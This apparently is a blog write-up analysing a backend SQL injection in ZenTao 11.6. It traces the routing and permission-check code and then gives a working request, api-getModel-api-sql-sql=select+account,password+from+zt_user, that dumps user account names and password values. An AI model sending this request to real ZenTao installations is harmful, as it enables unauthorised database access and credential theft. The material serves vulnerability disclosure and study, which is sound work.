Post

Zen Tao 11 6 Api Getmodel Api Sql Sql Background Sql Injection Vulnerability

Zen Tao 11 6 Api Getmodel Api Sql Sql Background Sql Injection Vulnerability

Zen Tao 11.6 api-getModel-api-sql-sql background SQL injection vulnerability

Vulnerability Description

In Zen Tao 11.6, the user interface call permission filtering is incomplete, resulting in the call interface executing SQL statements, resulting in SQL injection

Affect Version

Zen Tao 11.6

Environment construction

This is built using the docker environment

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

img

Vulnerability reappears

First analyze the call process of Zen Tao, first check the homepage file of the directory www/index.php

img

Here, we use router::createApp to create an APP object

1
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

Go to the framework/base/router.class.php file to view the createApp method

img

1
2
3
4
5
 public static function createApp($appName = 'demo', $appRoot = '', $className = '')
    {
        if(empty($className)) $className = __CLASS__;
        return new $className($appName, $appRoot);
    }

Here is a New object, check the calling method (line 348)

img

Calling the setConfigRoot method at line 358

1
2
3
4
5
6
$this->setConfigRoot();

public function setConfigRoot()
    {
        $this->configRoot = $this->basePath . 'config' . DS;
    }

Call the loadMainConfig method at line 363

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$this->loadMainConfig();

public function loadMainConfig()
    {
        /* 初始化$config对象。Init the $config object. */
        global $config, $filter;
        if(!is_object($config)) $config = new config();
        $this->config = $config;

        /* 加载主配置文件。 Load the main config file. */
        $mainConfigFile = $this->configRoot . 'config.php';
        if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
        include $mainConfigFile;
    }

This contains the configuration file config.php configuration file, the file directory is /config/config.php, and the call method is defined on line 25.

1
2
3
4
5
6
7
$config->requestType = 'PATH_INFO';         // 请求类型:PATH_INFO|PATHINFO2|GET。    The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix  = '-';                 // PATH_INFO和PATH_INFO2模式的分隔符。    The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar   = 'm';                 // 请求类型为GET:模块变量名。            requestType=GET: the module var name.
$config->methodVar   = 'f';                 // 请求类型为GET:模块变量名。            requestType=GET: the method var name.
$config->viewVar     = 't';                 // 请求类型为GET:视图变量名。            requestType=GET: the view var name.
$config->sessionVar  = 'zentaosid';         // 请求类型为GET:session变量名。         requestType=GET: the session var name.
$config->views       = ',html,json,mhtml,xhtml,'; // 支持的视图类型。                       Supported view formats.

It can be found that there are two types of PATH_INFO|PATH_INFO2 here: one is m, f, and t to call.

66 lines in index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$app->parseRequest();

public function parseRequest()
    {
        if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
        {
            $this->parsePathInfo();
            $this->setRouteByPathInfo();
        }
        elseif($this->config->requestType == 'GET')
        {
            $this->parseGET();
            $this->setRouteByGET();
        }
        else
        {
            $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
        }
    }

Seeing this one is the two methods of calling judgment

1
$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'

Follow up on setRouteByPathInfo method

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function setRouteByPathInfo()
    {
        if(!empty($this->URI))
        {
            /*
             * 根据$requestFix分割符,分割网址。
             * There's the request seperator, split the URI by it.
             **/
            if(strpos($this->URI, $this->config->requestFix) !== false)
            {
                $items = explode($this->config->requestFix, $this->URI);
                $this->setModuleName($items[0]);
                $this->setMethodName($items[1]);
            }    
            /*
             * 如果网址中没有分隔符,使用默认的方法。
             * No reqeust seperator, use the default method name.
             **/
            else
            {
                $this->setModuleName($this->URI);
                $this->setMethodName($this->config->default->method);
            }
        }
        else
        {    
            $this->setModuleName($this->config->default->module);   // 使用默认模块 use the default module.
            $this->setMethodName($this->config->default->method);   // 使用默认方法 use the default method.
        }
        $this->setControlFile();
    }

So you can infer the method called

For example, there are two ways to access the login page.

https://xxx.xxx.xxx.xxx/index.php?m=user&f=login
https://xxx.xxx.xxx.xxx/user-login.html

Take a look at the checkPriv method

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function checkPriv()
    {
        $module = $this->app->getModuleName();
        $method = $this->app->getMethodName();
        if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
        if($this->isOpenMethod($module, $method)) return true;
        if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
        if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();

        if(isset($this->app->user))
        {
            if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
        }
        else
        {
            $referer  = helper::safe64Encode($this->app->getURI(true));
            die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
        }
    }

The permissions to call modules and methods are detected here. You can know that except for the public modules and methods defined in isOpenMethod, other methods require login.

Finally, the code $app->loadModule();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public function loadModule()
    {
        $appName    = $this->appName;
        $moduleName = $this->moduleName;
        $methodName = $this->methodName;

        /* 
         * 引入该模块的control文件。
         * Include the control file of the module.
         **/
        $file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
        chdir(dirname($file2Included));
        helper::import($file2Included);

        /*
         * 设置control的类名。
         * Set the class name of the control.
         **/
        $className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
        if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);

        /*
         * 创建control类的实例。
         * Create a instance of the control.
         **/
        $module = new $className();
        if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
        $this->control = $module;

        /* include default value for module*/
        $defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
        if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;

        /* 
         * 使用反射机制获取函数参数的默认值。
         * Get the default settings of the method to be called using the reflecting. 
         *
         * */
        $defaultParams = array();
        $methodReflect = new reflectionMethod($className, $methodName);
        foreach($methodReflect->getParameters() as $param)
        {
            $name = $param->getName();

            $default = '_NOT_SET';
            if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
            {
                $default = $paramDefaultValue[$appName][$className][$methodName][$name];
            }
            elseif(isset($paramDefaultValue[$className][$methodName][$name]))
            {
                $default = $paramDefaultValue[$className][$methodName][$name];
            }
            elseif($param->isDefaultValueAvailable())
            {
                $default = $param->getDefaultValue();
            }

            $defaultParams[$name] = $default;
        }

        /** 
         * 根据PATH_INFO或者GET方式设置请求的参数。
         * Set params according PATH_INFO or GET.
         */
        if($this->config->requestType != 'GET')
        {
            $this->setParamsByPathInfo($defaultParams);
        }
        else
        {
            $this->setParamsByGET($defaultParams);
        }

        if($this->config->framework->filterParam == 2)
        {
            $_GET     = validater::filterParam($_GET, 'get');
            $_COOKIE  = validater::filterParam($_COOKIE, 'cookie');
        }

        /* 调用该方法   Call the method. */
        call_user_func_array(array($module, $methodName), $this->params);
        return $module;
    }

The moduleName obtained previously contains the corresponding control class file and instantiate it. Then, the setParamsByPathInfo method is called to obtain the corresponding parameter value of the method from the path, and finally the corresponding method in the corresponding control class is called and assigned a value through the call_user_func_array method.

We check the getModel method in the module/api/control.php file

img

Here, all methods of all model files are called through the call_user_func_array` function.

1
$result = call_user_func_array(array(&$module, $methodName), $params);

You can see the sql function in module/api/moudel.php`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function sql($sql, $keyField = '')
{
    $sql  = trim($sql);
    if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
    a($sql);
    if(empty($sql)) return '';

    if(stripos($sql, 'select ') !== 0)
    {
        return $this->lang->api->error->onlySelect;
    }
    else
    {
        try
        {
            $stmt = $this->dao->query($sql);
            if(empty($keyField)) return $stmt->fetchAll();
            $rows = array();
            while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
            return $rows;
        }
        catch(PDOException $e)
        {
            return $e->getMessage();
        }
    }
}

There is no filtering here, only the code $sql=trim($sql) is used to filter the spaces

Let’s take a look at the permissions required to call this method here

img

Here you can see that any user can call the method of this module, so we use it to call the sql method for query (convert spaces to +, bypass filtering)

https://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user

img

Successfully executed SQL statement

This post is licensed under CC BY 4.0 by the author.